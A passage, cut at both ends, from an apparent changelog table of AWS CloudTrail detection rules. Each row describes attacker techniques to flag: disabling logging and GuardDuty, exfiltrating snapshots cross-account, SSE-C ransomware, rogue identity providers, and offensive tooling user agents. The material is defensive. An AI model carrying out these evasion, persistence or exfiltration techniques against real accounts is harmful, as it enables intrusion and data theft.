constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. | update | 3 + +|<> | Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. | update | 215 + +|<> | Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. | update | 214 + +|<> | Identifies attempts to delete AWS Config resources. AWS Config provides continuous visibility into resource configuration changes and compliance posture across an account. Deleting Config components can significantly reduce security visibility and auditability. Adversaries may delete or disable Config resources to evade detection, hide prior activity, or weaken governance controls before or after other malicious actions. | update | 214 + +|<> | Identifies when an AWS Config configuration recorder is stopped. AWS Config recorders continuously track and record configuration changes across supported AWS resources. Stopping the recorder immediately reduces visibility into infrastructure changes and can be abused by adversaries to evade detection, obscure follow-on activity, or weaken compliance and security monitoring controls. | update | 212 + +|<> | Identifies the deletion of one or more flow logs in AWS Elastic Compute Cloud (EC2). An adversary may delete flow logs in an attempt to evade defenses. | update | 213 + +|<> | Identifies the deletion of an Amazon Elastic Compute Cloud (EC2) network access control list (ACL) or one of its ingress/egress entries. | update | 212 + +|<> | Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. | update | 3 + +|<> | Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. | update | 212 + +|<> | Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. | update | 2 + +|<> | Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. | update | 214 + +|<> | Identifies the deletion of an Amazon Route 53 Resolver Query Log Configuration. Resolver query logs provide critical visibility into DNS activity across VPCs, including lookups made by EC2 instances, containers, Lambda functions, and other AWS resources. Deleting a query log configuration immediately stops DNS query and response logging for the associated VPC. Adversaries may delete these configurations to evade detection, suppress forensic evidence, or degrade security monitoring capabilities. | update | 8 + +|<> | Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. | update | 214 + +|<> | Identifies the addition of an expiration lifecycle configuration to an Amazon S3 bucket. S3 lifecycle rules can automatically delete or transition objects after a defined period. Adversaries can abuse them by configuring auto-deletion of logs, forensic evidence, or sensitive objects to cover their tracks. This rule detects the use of the PutBucketLifecycle or PutBucketLifecycleConfiguration APIs with Expiration parameters, which may indicate an attempt to automate the removal of data to hinder investigation or maintain operational secrecy after malicious activity. | update | 8 + +|<> | Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. | update | 7 + +|<> | Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. | update | 8 + +|<> | Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. | update | 7 + +|<> | Identifies when a specified inbound (ingress) rule is added or adjusted for a VPC security group in AWS EC2. This rule detects when a security group rule is added that allows traffic from any IP address or from a specific IP address to common remote access ports, such as 22 (SSH) or 3389 (RDP). Adversaries may add these rules to allow remote access to VPC instances from any location, increasing the attack surface and potentially exposing the instances to unauthorized access. | update | 7 + +|<> | Identifies the deletion of an AWS Web Application Firewall (WAF) Web ACL. Web ACLs are the core enforcement objects in AWS WAF, defining which traffic is inspected, allowed, or blocked for protected applications. Deleting a Web ACL removes all associated rules, protections, and logging configurations. Adversaries who obtain sufficient privileges may delete a Web ACL to disable critical security controls, evade detection, or prepare for downstream attacks such as web-application compromise, data theft, or resource abuse. Because Web ACLs are rarely deleted outside of controlled maintenance or infrastructure updates, unexpected deletions may indicate potential defense evasion. | update | 212 + +|<> | Identifies the deletion of an AWS Web Application Firewall (WAF) rule or rule group. WAF rules and rule groups enforce critical protections for web applications by filtering malicious HTTP requests, blocking known attack patterns, and enforcing access controls. Deleting these rules—even briefly—can expose applications to SQL injection, cross-site scripting, credential-stuffing bots, or targeted exploitation. Adversaries who have gained sufficient permissions may remove WAF protections as part of a broader defense evasion or impact strategy, often preceding data theft or direct application compromise. | update | 212 + +|<> | Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. | update | 8 + +|<> | Identifies discovery request DescribeInstanceAttribute with the attribute userData and instanceId in AWS CloudTrail logs. This may indicate an attempt to retrieve user data from an EC2 instance. Adversaries may use this information to gather sensitive data from the instance such as hardcoded credentials or to identify potential vulnerabilities. This is a New Terms rule that identifies the first time an IAM user or role requests the user data for a specific EC2 instance. | update | 9 + +|<> | Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. | update | 216 + +|<> | Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. | update | 9 + +|<> | An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. | update | 9 + +|<> | Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. | update | 10 + +|<> | Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. | update | 3 + +|<> | Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. | update | 3 + +|<> | Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. | update | 9 + +|<> | This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. | update | 8 + +|<> | Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. | update | 6 + +|<> | Detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM), such as RunShellScript, RunPowerShellScript or custom documents. While legitimate users may employ these commands for management tasks, they can also be exploited by attackers with credentials to establish persistence, install malware, or execute reverse shells for further access to compromised instances. This is a New Terms rule that looks for the first instance of this behavior by a user or role. | update | 216 + +|<> | Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 6 + +|<> | Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 7 + +|<> | Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. | update | 7 + +|<> | Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. | update | 10 + +|<> | Identifies successful export tasks of EC2 instances via the APIs CreateInstanceExportTask, ExportImage, or CreateStoreImageTask. These exports can be used by administrators for legitimate VM migration or backup workflows however, an attacker with access to an EC2 instance or AWS credentials can export a VM or its image and then transfer it off-account for exfiltration of data. | update | 4 + +|<> | Detects successful creation of an Amazon EC2 Traffic Mirroring session. A session copies full packets from a source Elastic Network Interface (ENI) to a mirror target (e.g., an ENI or NLB) using a mirror filter (ingress/egress rules). While used for diagnostics and NDR/IDS tooling, adversaries can abuse sessions to covertly capture and exfiltrate sensitive, potentially unencrypted, traffic from instances or subnets. | update | 213 + +|<> | Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. | update | 213 + +|<> | Identifies when an AWS RDS DB snapshot is shared with another AWS account or made public. DB snapshots contain complete backups of database instances, including schemas, table data, and sensitive application content. When shared externally, snapshots can be restored in another AWS environment, enabling unauthorized access, offline analysis, or data exfiltration. Adversaries who obtain valid credentials or exploit misconfigurations may modify snapshot attributes to grant access to accounts they control, bypassing network, IAM, and monitoring controls. | update | 8 + +|<> | Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. | update | 10 + +|<> | Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. | update | 3 + +|<> | Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. | update | 8 + +|<> | Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. | update | 3 + +|<> | Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. | update | 10 + +|<> | Identifies when an Amazon EventBridge rule is disabled or deleted. EventBridge rules are commonly used to automate operational workflows and security-relevant routing (for example, forwarding events to Lambda, SNS/SQS, or security tooling). Disabling or deleting a rule can break critical integrations, suppress detections, and reduce visibility. Adversaries may intentionally impair EventBridge rules to disrupt monitoring, delay response, or hide follow-on actions. | update | 213 + +|<> | Identifies a high number of failed S3 operations against a single bucket from a single source address within a short timeframe. This activity can indicate attempts to collect bucket objects or cause an increase in billing to an account via internal "AccessDenied" errors. | update | 9 + +|<> | Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. | update | 215 + +|<> | Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. | update | 215 + +|<> | Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. | update | 215 + +|<> | Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. | update | 213 + +|<> | Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. | update | 7 + +|<> | Identifies the deletion of an Amazon EFS file system using the "DeleteFileSystem" API operation. Deleting an EFS file system permanently removes all stored data and cannot be reversed. This action is rare in most environments and typically limited to controlled teardown workflows. Adversaries with sufficient permissions may delete a file system to destroy evidence, disrupt workloads, or impede recovery efforts. | update | 212 + +|<> | Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. | update | 216 + +|<> | Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. | update | 212 + +|<> | Identifies attempts to disable or schedule the deletion of an AWS customer managed KMS Key. Disabling or scheduling a KMS key for deletion removes the ability to decrypt data encrypted under that key and can permanently destroy access to critical resources. Adversaries may use these operations to cause irreversible data loss, disrupt business operations, impede incident response, or hide evidence of prior activity. Because KMS keys often protect sensitive or regulated data, any modification to their lifecycle should be considered highly sensitive and investigated promptly. | update | 113 + +|<> | Identifies the deletion of an Amazon RDS DB instance, Aurora cluster, or global database cluster. Deleting these resources permanently destroys stored data and can cause major service disruption. Adversaries with sufficient permissions may delete RDS resources to impede recovery, destroy evidence, or inflict operational impact on the environment. | update | 212 + +|<> | Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. | update | 9 + +|<> | Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. | update | 9 + +|<> | Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. | update | 12 + +|<> | Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. | update | 6 + +|<> | Identifies use of the S3 CopyObject API where the destination object is encrypted using an AWS KMS key from an external AWS account. This behavior may indicate ransomware-style impact activity where an adversary with access to a misconfigured S3 bucket encrypts objects using a KMS key they control, preventing the bucket owner from decrypting their own data. This technique is a critical early signal of destructive intent or cross-account misuse. | update | 12 + +|<> | Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. | update | 8 + +|<> | This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. | update | 8 + +|<> | Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. | update | 8 + +|<> | Identifies a successful login to the AWS Management Console by the Root user. | update | 214 + +|<> | This rule identifies potentially suspicious activity by detecting instances where a single IAM user's temporary session token is accessed from multiple IP addresses within a short time frame. Such behavior may suggest that an adversary has compromised temporary credentials and is utilizing them from various locations. To enhance detection accuracy and minimize false positives, the rule incorporates criteria that evaluate unique IP addresses, user agents, cities, and networks. These additional checks help distinguish between legitimate distributed access patterns and potential credential misuse. Detected activities are classified into different types based on the combination of unique indicators, with each classification assigned a fidelity score reflecting the likelihood of malicious behavior. High fidelity scores are given to patterns most indicative of threats, such as multiple unique IPs, networks, cities, and user agents. Medium and low fidelity scores correspond to less severe patterns, enabling security teams to effectively prioritize alerts. | update | 107 + +|<> | Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. | update | 213 + +|<> | Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. | update | 7 + +|<> | Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. | update | 5 + +|<> | Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. | update | 6 + +|<> | Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. | update | 9 + +|<> | Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. | update | 8 + +|<> | Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 6 + +|<> | Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets. | update | 5 + +|<> | Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. | update | 213 + +|<> | Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 213 + +|<> | Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. | update | 214 + +|<> | Detects sensitive AWS IAM API operations executed using temporary session credentials (access key IDs beginning with "ASIA"). Temporary credentials are commonly issued through sts:GetSessionToken, sts:AssumeRole, or AWS SSO logins and are meant for short-term use. It is unusual for legitimate users or automated processes to perform privileged IAM actions (e.g., creating users, updating policies, or enabling/disabling MFA) with session tokens. This behavior may indicate credential theft, session hijacking, or the abuse of a privileged role’s temporary credentials. | update | 7 + +|<> | Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. | update | 7 + +|<> | Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. | update | 6 + +|<> | Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. | update | 212 + +|<> | Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. | update | 3 + +|<> | Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. | update | 9 + +|<> | Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. | update | 9 + +|<> | Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. | update | 3 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. | update | 13 + +|<> | Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. | update | 8 + +|<> | Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. | update | 9 + +|<> | Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to 